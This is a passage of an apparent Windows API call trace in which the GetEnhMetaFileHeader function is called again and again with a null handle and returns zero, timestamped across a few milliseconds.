(in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.045] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.046] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.047] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.048] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | 